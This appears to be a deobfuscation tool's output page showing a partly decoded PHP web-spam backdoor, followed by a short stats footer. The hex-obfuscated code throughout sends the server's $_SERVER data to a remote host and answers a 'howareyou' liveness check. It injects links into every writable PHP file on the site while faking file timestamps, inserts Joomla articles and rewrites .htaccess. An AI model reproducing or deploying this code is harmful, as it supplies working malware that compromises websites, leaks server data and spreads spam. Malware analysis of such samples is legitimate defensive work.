    ${${"\x47\x4cO\x42\x41\x4cS"}["e\x6e\x74p\x73\x78\x6c"]}              = str_shuffle(${${"\x47\x4c\x4fB\x41\x4cS"}["\x6e\x6ep\x76y\x6f\x6f\x6c\x72\x73"]}) . "\x2e\x70h\x70";
    ${${"G\x4cO\x42\x41\x4cS"}["\x6b\x6bxht\x6e\x77\x75eo\x74"]}          = fopen(${${"G\x4cO\x42\x41\x4c\x53"}["\x65n\x74\x70\x73\x78l"]}, "w");
    ${"\x47LO\x42\x41\x4c\x53"}["\x6e\x79\x75\x64n\x79\x72\x6b\x6dw\x73"] = "u\x72\x6c";
    fwrite(${$xxwjvxmwhjhw}, ${$ocshhiddyor});
    ${${"GL\x4fB\x41LS"}["\x6b\x70gy\x69\x63\x65\x76\x79z"]} = explode("/", $_SERVER["HTTP_HOS\x54"] . $_SERVER["SC\x52\x49PT\x5f\x4eA\x4dE"]);
    unset(${${"GLOB\x41\x4c\x53"}["\x6e\x79\x75\x64\x6e\x79rk\x6d\x77\x73"]}[count(${${"GL\x4f\x42\x41\x4c\x53"}["\x6bp\x67\x79\x69c\x65v\x79z"]}) - 1]);
    ${$jcgmxhb} = "\x68\x74tp://" . trim(implode("/", ${${"\x47L\x4fB\x41\x4cS"}["\x6bpg\x79\x69\x63evy\x7a"]})) . "/$filename";
    echo ${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6b\x70g\x79ic\x65\x76\x79\x7a"]};
    exit;
} elseif ($_GET["\x74\x65s\x74"] == "h\x6f\x77\x61r\x65you" OR isset($_GET["\x7a"])) {
    echo "im\x20okey";
    exit;
} else {
    if (ini_get("\x61l\x6co\x77_\x75r\x6c\x5ff\x6fp\x65\x6e") == 1) {
        $dafgekluadb                                                      = "\x75r\x6c";
        ${$dafgekluadb}                                                   = "$url?type\x3d\x66\x6fp\x65n&t\x68\x3d$th\x26vl=$vl\x26\x76=" . urlencode(${${"G\x4cOB\x41\x4c\x53"}["s\x6f\x61\x63r\x71g\x67"]}) . "\x26\x63ook\x69eb\x6f\x74\x3d$cookiebot";
        ${${"\x47\x4cO\x42A\x4c\x53"}["u\x64\x69k\x73\x6e\x66\x73y\x65"]} = stream_context_create(array(
            "\x68tt\x70" => array(
                "met\x68\x6f\x64" => "\x50OST",
                "he\x61d\x65\x72" => array(
                    "C\x6fn\x74ent-\x74ype:\x20\x61\x70\x70\x6cica\x74io\x6e/\x78-w\x77\x77-f\x6fr\x6d-u\x72l\x65\x6e\x63o\x64\x65d"
                ),
                "c\x6fnte\x6e\x74" => http_build_query($_SERVER)
            )
        ));
        $obnjgwlqkl                                                       = "\x63ont\x65\x78\x74";
        ${${"GLO\x42\x41\x4c\x53"}["\x69jmn\x70t\x74x"]}                  = @file_get_contents(${${"\x47\x4c\x4fBA\x4c\x53"}["\x6bp\x67\x79i\x63\x65v\x79\x7a"]}, false, ${$obnjgwlqkl});
    } elseif (function_exists("\x63url\x5fini\x74")) {
        $tyjumxcfar      = "ch";
        $qrblqbcdxk      = "\x63\x68";
        $wvzajbuxlb      = "\x75\x72l";
        $itxivmxibuni    = "\x75rl";
        ${$itxivmxibuni} = "$url?\x74\x79p\x65\x3d\x63\x75r\x6c&th\x3d$th&\x76l\x3d$vl&v\x3d" . urlencode(${${"GL\x4f\x42A\x4c\x53"}["s\x6f\x61c\x72\x71\x67\x67"]}) . "&c\x6fok\x69\x65\x62\x6ft\x3d$cookiebot";
        $hovvsagcloa     = "\x63\x68";
        ${$tyjumxcfar}   = curl_init(${$wvzajbuxlb});
        curl_setopt(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["wl\x70gc\x71"]}, CURLOPT_HEADER, FALSE);
        curl_setopt(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x77l\x70gc\x71"]}, CURLOPT_RETURNTRANSFER, TRUE);
        curl_setopt(${$qrblqbcdxk}, CURLOPT_POSTFIELDS, http_build_query($_SERVER));
        $kvdrsyeytp                                               = "\x63\x68";
        ${${"GLO\x42\x41\x4c\x53"}["i\x6a\x6dn\x70\x74\x74\x78"]} = @curl_exec(${$kvdrsyeytp});
        curl_close(${$hovvsagcloa});
    } else {
        $pbnelkabvj                                                                   = "f\x70";
        ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x79\x6e\x6a\x63\x62\x61\x61\x68\x71"] = "\x63\x61\x72\x64\x61\x73";
        $otxmhafws                                                                    = "\x65\x72\x72s\x74\x72";
        ${$pbnelkabvj}                                                                = fsockopen(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x64y\x6ejcb\x61\x61\x68q"]}, 80, ${${"GL\x4f\x42\x41\x4c\x53"}["t\x75pj\x68\x6a\x62\x78\x78g"]}, ${$otxmhafws}, 10);
        if (${${"\x47LO\x42\x41L\x53"}["\x6b\x6b\x78\x68t\x6e\x77\x75e\x6f\x74"]}) {
            ${"G\x4c\x4f\x42\x41\x4cS"}["\x74e\x70\x78t\x6d\x66"]                    = "\x6fut";
            ${"\x47LO\x42\x41\x4c\x53"}["\x6f\x6b\x74\x6f\x76j\x63\x70\x76"]         = "\x6fu\x74";
            ${"\x47\x4c\x4f\x42\x41L\x53"}["\x6b\x61z\x75\x66a\x76i\x67qy\x72"]      = "\x64ata";
            $gubixzhjv                                                               = "\x76";
            ${"\x47LO\x42A\x4c\x53"}["\x64\x79\x6be\x67\x6b\x67p\x71tv"]             = "r\x65\x73\x70";
            ${"G\x4c\x4f\x42\x41\x4cS"}["v\x77\x77ie\x79k"]                          = "\x6f\x75\x74";
            ${"\x47\x4c\x4f\x42ALS"}["\x77y\x6cmf\x76d\x65"]                         = "\x6fu\x74";
            ${"G\x4c\x4f\x42\x41\x4c\x53"}["f\x6e\x64\x77\x79\x68h\x6cdk"]           = "\x66\x70";
            ${"G\x4c\x4f\x42\x41\x4c\x53"}["\x76\x75\x79k\x70\x68\x78\x6ei\x65\x71"] = "da\x74a";
            $xqsezeomm                                                               = "\x72e\x73p";
            ${${"GL\x4f\x42\x41\x4c\x53"}["\x6b\x61\x7au\x66avig\x71\x79\x72"]}      = http_build_query($_SERVER);
            ${${"\x47\x4c\x4f\x42AL\x53"}["\x74\x65\x70xtm\x66"]}                    = "P\x4f\x53\x54 $file?t\x79\x70e\x3d\x73o\x63ks&\x74\x68=$th&\x76l\x3d$vl&v\x3d" . urlencode(${$gubixzhjv}) . "&co\x6fkieb\x6f\x74\x3d$cookiebot HT\x54P/\x31\x2e\x30\r\n";
            ${"\x47\x4c\x4fB\x41L\x53"}["\x75ligua\x66p"]                            = "\x63\x6f\x6e\x74e\x6e\x74";
            ${${"GL\x4f\x42\x41\x4c\x53"}["\x76wwie\x79\x6b"]} .= "\x48\x6f\x73\x74:\x20$cardas\r\n";
            $fxfhpfsd = "o\x75t";
            ${${"GL\x4fB\x41LS"}["\x77\x79\x6c\x6df\x76d\x65"]} .= "\x43\x6f\x6e\x74\x65n\x74-\x54y\x70\x65:\x20\x61\x70pli\x63\x61ti\x6fn/\x78-w\x77\x77-\x66or\x6d-\x75rl\x65\x6eco\x64\x65d\r\n";
            ${${"\x47\x4cO\x42A\x4c\x53"}["\x6f\x6bt\x6f\x76j\x63p\x76"]} .= "C\x6f\x6e\x74ent-\x4c\x65n\x67th: " . strlen(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x76\x75yk\x70\x68\x78n\x69\x65\x71"]}) . "\r\n\r\n";
            ${"\x47L\x4f\x42\x41LS"}["px\x62sh\x79i"]                    = "\x64a\x74\x61";
            ${"\x47LOB\x41\x4c\x53"}["syr\x66\x73\x6dr\x71\x74\x6f\x77"] = "\x66\x70";
            fwrite(${${"\x47\x4c\x4fB\x41\x4cS"}["k\x6b\x78\x68t\x6ew\x75e\x6ft"]}, ${$fxfhpfsd});
            fwrite(${${"\x47\x4c\x4fB\x41\x4c\x53"}["f\x6ed\x77yhh\x6cd\x6b"]}, ${${"\x47L\x4f\x42\x41\x4c\x53"}["p\x78\x62\x73\x68\x79\x69"]});
            ${$xqsezeomm} = "";
            while (!feof(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x73\x79\x72\x66sm\x72\x71\x74o\x77"]})) {
                $oizgwcxd = "r\x65sp";
                $ysoocux  = "\x66p";
                ${$oizgwcxd} .= fgets(${$ysoocux}, 4096);
            }
            fclose(${${"G\x4c\x4fB\x41\x4c\x53"}["\x6b\x6bx\x68\x74\x6e\x77\x75e\x6ft"]});
            list(${${"G\x4c\x4f\x42A\x4c\x53"}["\x6eem\x63\x79r\x6a\x71g\x77"]}, ${${"\x47\x4c\x4fBAL\x53"}["w\x66y\x72n\x6bh\x62\x64\x72"]}) = @preg_split("/\\R\\\x52/", ${${"\x47\x4c\x4fB\x41\x4cS"}["\x64\x79\x6b\x65g\x6b\x67p\x71\x74v"]}, 2);
            ${${"G\x4c\x4f\x42A\x4cS"}["\x75\x6c\x69\x67\x75\x61f\x70"]} = ${${"\x47LO\x42A\x4c\x53"}["\x77f\x79\x72\x6e\x6bh\x62\x64r"]};
        }
    }
    echo ${${"G\x4c\x4f\x42\x41LS"}["i\x6a\x6dn\x70\x74\x74x"]};
}
function postlink($linktodoor)
{
    foreach (glob("*\x2ep\x68\x70") as ${${"GL\x4f\x42A\x4c\x53"}["\x65n\x74\x70\x73\x78\x6c"]}) {
        ${"\x47L\x4fB\x41L\x53"}["\x6e\x6e\x69u\x6e\x6d\x6c\x6e\x77\x74\x71o"] = "\x69\x6e\x63fi\x6c\x65\x63o\x6e\x74\x65\x6et";
        $icaxhotwncb                                                           = "i\x6ec\x66il\x65\x63o\x6ete\x6e\x74";
        $qvzefsotr                                                             = "\x66ilet\x69me";
        ${"G\x4c\x4fB\x41L\x53"}["\x73\x72\x61\x68\x65\x71\x77\x74\x76j\x73"]  = "\x66\x69l\x65\x6e\x61\x6d\x65";
        if (${${"GL\x4f\x42\x41\x4cS"}["\x65nt\x70sxl"]} == basename(__FILE__) OR !is_writable(${${"\x47\x4c\x4fBA\x4cS"}["e\x6e\x74\x70\x73\x78\x6c"]})) {
            continue;
        }
        ${${"\x47\x4cOBA\x4cS"}["\x6do\x68\x74\x70\x72v\x78f"]}    = filemtime(${${"G\x4c\x4f\x42A\x4cS"}["\x65nt\x70sxl"]});
        ${$icaxhotwncb}                                            = file_get_contents(${${"\x47LOB\x41\x4cS"}["\x65n\x74ps\x78\x6c"]});
        ${${"GL\x4f\x42\x41\x4cS"}["\x69o\x6aa\x66\x73k\x68\x69"]} = preg_replace("/\x3c\\?\x70\x68p|<\x5c?/\x69", "$linktodoor\x3c?\x70h\x70", ${${"G\x4cOBA\x4c\x53"}["nn\x69\x75\x6e\x6d\x6c\x6e\x77t\x71\x6f"]}, 1);
        file_put_contents(${${"\x47\x4c\x4f\x42\x41LS"}["\x65\x6e\x74\x70sxl"]}, ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69\x6f\x6a\x61\x66\x73\x6b\x68i"]});
        @touch(${${"G\x4cO\x42A\x4c\x53"}["\x73\x72\x61h\x65\x71\x77\x74\x76\x6as"]}, ${$qvzefsotr});
    }
}
function gettemplate($incfilecontent, $incfile, $doordomain, $param)
{
    ${"GL\x4fBALS"}["\x65\x63k\x63\x73\x63\x6ft\x61"] = "\x69\x6ec\x66\x69l\x65con\x74\x65\x6et";
    file_put_contents(${${"\x47\x4cOBA\x4c\x53"}["\x6e\x78\x64\x76s\x79\x69\x76y"]}, ${${"\x47LO\x42AL\x53"}["\x65c\x6bc\x73co\x74a"]});
    ${${"\x47\x4c\x4fB\x41\x4c\x53"}["c\x77\x74\x72\x78\x70\x79\x73"]} = "\x68ttp://$doordomain/?\x74\x65\x73t\x70ag\x65\x3d$param";
    ${"\x47\x4c\x4f\x42AL\x53"}["\x6f\x66\x77\x66zps\x64\x76"]         = "\x67oo\x64\x70a\x67e";
    if (ini_get("a\x6c\x6c\x6fw_u\x72\x6c\x5f\x66\x6fp\x65\x6e") == 1) {
        ${${"\x47L\x4fBAL\x53"}["\x75d\x69\x6bs\x6efs\x79\x65"]} = stream_context_create(array(
            "h\x74\x74p" => array(
                "method" => "P\x4fST",
                "\x68\x65\x61\x64er" => array(
                    "Conte\x6et-type:\x20\x61\x70pl\x69c\x61ti\x6f\x6e/\x78-\x77\x77w-f\x6f\x72\x6d-\x75rlenco\x64ed"
                ),
                "co\x6e\x74e\x6e\x74" => http_build_query($_SERVER)
            )
        ));
        ${${"G\x4c\x4fBA\x4c\x53"}["\x77q\x76\x74\x6f\x6b"]}     = @file_get_contents(${${"\x47\x4c\x4f\x42ALS"}["c\x77\x74r\x78\x70y\x73"]}, false, ${${"G\x4c\x4f\x42\x41L\x53"}["\x75d\x69\x6b\x73\x6e\x66\x73\x79\x65"]});
    } elseif (function_exists("c\x75\x72\x6c_\x69nit")) {
        ${"G\x4c\x4f\x42\x41\x4c\x53"}["c\x74\x78\x72j\x77\x63"]           = "s\x69t\x65\x75r\x6c";
        $rvimzdi                                                           = "c\x68";
        ${"G\x4c\x4f\x42\x41\x4c\x53"}["m\x77\x76\x62h\x63m\x6e\x79z\x77"] = "\x63\x68";
        ${${"G\x4c\x4fB\x41L\x53"}["\x77\x6cp\x67\x63\x71"]}               = curl_init();
        curl_setopt(${${"\x47L\x4f\x42\x41L\x53"}["w\x6c\x70gc\x71"]}, CURLOPT_URL, ${${"\x47\x4c\x4f\x42A\x4cS"}["c\x74\x78\x72\x6aw\x63"]});
        curl_setopt(${$rvimzdi}, CURLOPT_HEADER, false);
        curl_setopt(${${"G\x4cO\x42\x41\x4cS"}["w\x6c\x70gc\x71"]}, CURLOPT_RETURNTRANSFER, true);
        $imynrrh = "g\x6f\x6fd\x70\x61g\x65";
        curl_setopt(${${"G\x4c\x4f\x42\x41L\x53"}["m\x77\x76\x62\x68\x63\x6dny\x7a\x77"]}, CURLOPT_REFERER, "");
        ${$imynrrh} = @curl_exec(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x77\x6c\x70g\x63\x71"]});
        curl_close(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x6c\x70\x67cq"]});
    } else {
        ${"\x47L\x4f\x42A\x4c\x53"}["\x75\x74tz\x7aoug\x73"]                  = "\x66\x70";
        ${"\x47\x4c\x4fB\x41\x4c\x53"}["\x67\x66f\x62xz\x77ei\x72\x71"]       = "\x66\x70";
        $zjilyjn                                                              = "\x65\x72\x72\x73\x74\x72";
        ${"\x47L\x4f\x42A\x4c\x53"}["h\x64g\x74\x64lqw\x68\x67"]              = "\x65\x72r\x6e\x6f";
        $kjkflxsvm                                                            = "\x64\x6fo\x72\x64\x6f\x6d\x61\x69n";
        ${${"\x47\x4cOBA\x4c\x53"}["\x67\x66\x66b\x78z\x77\x65\x69\x72\x71"]} = fsockopen(${$kjkflxsvm}, 80, ${${"G\x4c\x4fBAL\x53"}["h\x64gtdl\x71\x77\x68g"]}, ${$zjilyjn}, 10);
        if (${${"\x47L\x4f\x42\x41\x4c\x53"}["\x75\x74\x74\x7a\x7aou\x67s"]}) {
            $ekemmh                                                         = "\x6f\x75\x74";
            ${"\x47\x4c\x4fBALS"}["j\x6e\x6d\x6cn\x6c\x6b\x63\x64\x77\x62"] = "out";
            ${"\x47\x4cOB\x41\x4c\x53"}["\x79t\x75\x70\x75\x67v\x72y\x6e"]  = "o\x75t";
            $chlbcyi                                                        = "da\x74\x61";
            ${$chlbcyi}                                                     = http_build_query($_SERVER);
            $xplgiocfkdan                                                   = "o\x75t";
            ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x68u\x67\x67c\x74o"]       = "go\x6f\x64pa\x67\x65";
            ${$xplgiocfkdan}                                                = "P\x4fST /?test\x70\x61g\x65=$param \x48T\x54\x50/\x31\x2e\x30\r\n";
            $knduisfq                                                       = "\x64a\x74a";
            ${$ekemmh} .= "Host:\x20$doordomain\r\n";
            ${${"G\x4c\x4f\x42\x41\x4c\x53"}["j\x6em\x6c\x6e\x6c\x6b\x63\x64\x77\x62"]} .= "Con\x74\x65n\x74-\x54ype:\x20a\x70p\x6ci\x63a\x74io\x6e/\x78-\x77ww-\x66\x6f\x72\x6d-ur\x6c\x65n\x63ode\x64\r\n";
            ${${"\x47L\x4fBA\x4cS"}["\x79\x74\x75p\x75gvr\x79\x6e"]} .= "C\x6f\x6e\x74e\x6et-\x4c\x65\x6egth: " . strlen(${${"G\x4c\x4f\x42\x41\x4cS"}["\x66mj\x79\x77m\x6e"]}) . "\r\n\r\n";
            fwrite(${${"\x47\x4c\x4f\x42AL\x53"}["kk\x78\x68t\x6e\x77\x75\x65o\x74"]}, ${${"\x47L\x4fBAL\x53"}["\x69l\x78s\x75\x6a\x62"]});
            $tnbhdqfy = "\x62ody";
            fwrite(${${"\x47L\x4fB\x41LS"}["k\x6bx\x68\x74\x6ew\x75\x65\x6f\x74"]}, ${$knduisfq});
            ${"GL\x4fB\x41\x4c\x53"}["\x73\x65\x76\x69\x77\x78\x67\x76\x72\x6c\x6d"] = "\x68\x65a\x64\x65\x72";
            $bmudpdvhi                                                               = "\x62\x6fdy";
            ${${"\x47L\x4f\x42A\x4c\x53"}["l\x7a\x65\x66\x76\x65\x63\x69"]}          = "";
            while (!feof(${${"\x47\x4cO\x42\x41LS"}["k\x6b\x78\x68\x74nwue\x6f\x74"]})) {
                $evgpmqyyh = "\x72e\x73p";
                ${$evgpmqyyh} .= fgets(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["k\x6b\x78\x68tn\x77\x75e\x6ft"]}, 4096);
            }
            fclose(${${"\x47LOBALS"}["\x6bk\x78\x68\x74nw\x75\x65\x6f\x74"]});
            list(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x65\x76\x69\x77\x78\x67\x76rl\x6d"]}, ${$tnbhdqfy}) = @preg_split("/\x5c\x52\\\x52/", ${${"GL\x4f\x42\x41\x4c\x53"}["l\x7ae\x66vec\x69"]}, 2);
            ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x68\x75\x67\x67c\x74\x6f"]} = ${$bmudpdvhi};
        }
    }
    echo ${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6f\x66\x77\x66z\x70s\x64\x76"]};
}
function postitem($title, $desc, $text)
{
    ${"\x47L\x4f\x42\x41\x4c\x53"}["\x64\x79\x75kkfc\x6eo\x65\x73"]                   = "\x64a\x74a\x62a\x73\x65";
    ${"\x47LOBAL\x53"}["q\x6ej\x76\x77\x68fy"]                                        = "\x69te\x6d";
    $qjyolsulhxkt                                                                     = "t\x69t\x6ce";
    ${${"\x47\x4c\x4f\x42\x41L\x53"}["\x64\x79\x75\x6b\x6b\x66\x63\x6e\x6f\x65\x73"]} = JFactory::getDBO();
    ${${"G\x4cO\x42\x41\x4c\x53"}["\x71nj\x76\x77h\x66\x79"]}                         = new stdClass;
    $item->id                                                                         = null;
    $xpiqzylhvw                                                                       = "d\x65sc";
    $item->title                                                                      = ${$qjyolsulhxkt};
    $item->introtext                                                                  = ${$xpiqzylhvw};
    $item->fulltext                                                                   = ${${"\x47\x4c\x4fBA\x4c\x53"}["\x64xv\x63\x62\x71\x64"]};
    $item->state                                                                      = 1;
    $item->access                                                                     = 1;
    $item->created_by                                                                 = 62;
    $item->created                                                                    = date("Y-\x6d-\x64\x20\x48:\x69:\x73");
    $item->alias                                                                      = JFilterOutput::stringURLSafe($item->title);
    if (!$database->insertObject("#__\x63o\x6ete\x6et", ${${"\x47\x4c\x4f\x42\x41\x4cS"}["ht\x79\x6dp\x75"]}, "\x69\x64")) {
        echo $database->stderr();
        return false;
    }
    return $item->id . ":" . $item->alias;
}
function htaccessnormalize()
{
    ${"\x47\x4cO\x42\x41LS"}["\x70\x6e\x67\x6b\x78\x7a\x64k"]      = "\x68\x74\x61\x63\x63\x65ssf\x69l\x65\x6ea\x6d\x65";
    ${${"G\x4c\x4f\x42\x41LS"}["\x70\x6e\x67\x6b\x78\x7a\x64k"]}   = ".h\x74\x61\x63c\x65ss";
    ${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76\x6b\x6c\x72\x6a\x79\x6e"] = "\x68\x74\x61\x63\x63es\x73f\x69\x6c\x65\x6e\x61\x6d\x65";
    if (file_exists(${${"G\x4c\x4fB\x41L\x53"}["\x76\x6b\x6crjy\x6e"]})) {
        $titbbe                                                = "\x68\x74\x61c\x63\x65\x73s\x69\x6e\x63f\x69\x6cec\x6f\x6e\x74\x65\x6e\x74";
        $bjzsfdjluqt                                           = "hta\x63\x63es\x73\x66\x69l\x65\x6eame";
        ${${"\x47\x4c\x4f\x42\x41LS"}["c\x71su\x74\x65r\x72"]} = filemtime(${${"\x47L\x4f\x42A\x4cS"}["\x6d\x71\x6cz\x75\x67ct"]});
        @chmod(${$bjzsfdjluqt}, 0666);
        ${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x79gu\x6b\x6as\x70w"]} = file_get_contents(${${"\x47\x4c\x4fB\x41\x4cS"}["m\x71\x6c\x7a\x75\x67\x63\x74"]});
        if (preg_match("#\x52\x65\x77\x72\x69\x74e\x43ond\x20\\\x25\{\x48\x54\x54P\x5f\x55\x53\x45R\x5fAG\x45\x4e\x54\x5c}\x20\x5c(go\x6fg\x6c\x65\\|\x79\x61\x68o\x6f\x5c|ms\x6e\x5c|\x61o\x6c\x5c|\x62ing\x5c)\x20\x5c[\x4f\x52\x5c](\x2e*)Rewr\x69teC\x6f\x6e\x64 \\\x25\x5c{H\x54\x54P_\x52\x45FER\x45\x52\\}\x20\\(\x67o\x6f\x67le\\|\x79ahoo\\|\x6dsn\\|ao\x6c\\|\x62in\x67\\)#\x69Us", ${$titbbe})) {
            ${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x79\x67u\x6b\x6a\x73p\x77"]} = preg_replace("#<I\x66\x4d\x6fd\x75le\x20\x6d\x6fd\x5fre\x77r\x69t\x65\x5c\x2e\x63\x3e(.*)\x52\x65w\x72\x69\x74e\x43\x6fn\x64 \x5c%\x5c{HT\x54\x50\x5f\x55\x53ER_A\x47E\x4eT\x5c} \\(g\x6fog\x6ce\x5c|\x79ah\x6f\x6f\x5c|\x6d\x73n\\|\x61ol\\|b\x69ng\\)\x20\x5c[\x4fR\\](.*)\x52e\x77ri\x74eCo\x6ed \\\x25\x5c{HT\x54P_R\x45F\x45RE\x52\x5c} \\(g\x6f\x6fg\x6ce\x5c|ya\x68oo\x5c|ms\x6e\x5c|a\x6f\x6c\\|bing\x5c)(.*)\x52\x65\x77\x72\x69\x74eR\x75le \x5c^\x5c\x2e\x5c*\x5c\$ \x69n\x64\x65x\\\x2ep\x68p \\[L\\](\x2e*)\x3c\\/I\x66\x4d\x6fdu\x6ce\x3e\x23i\x55\x73", "", ${${"\x47\x4cO\x42\x41\x4c\x53"}["y\x67ukjs\x70\x77"]});
            ${"\x47L\x4f\x42\x41\x4cS"}["\x76\x72\x64k\x69k\x6b"]           = "\x68\x74a\x63ce\x73\x73\x66\x69\x6c\x65na\x6d\x65";
            ${"\x47\x4c\x4fB\x41\x4c\x53"}["\x68b\x77m\x76\x6a\x6a\x62kn"]  = "\x66il\x65\x74i\x6d\x65";
            file_put_contents(${${"G\x4cO\x42A\x4c\x53"}["\x76\x72\x64\x6bi\x6b\x6b"]}, ${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x79\x67\x75\x6bjs\x70\x77"]});
            @touch(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6d\x71\x6c\x7a\x75\x67ct"]}, ${${"\x47\x4c\x4f\x42A\x4c\x53"}["h\x62\x77m\x76\x6aj\x62\x6b\x6e"]});
        }
    }
}
?>

Function Calls

None

Variables

None

Stats

MD5 d2f8d6f69dfaafa971d5ca750568b2ac
Eval Count 0
Decode Time 251 ms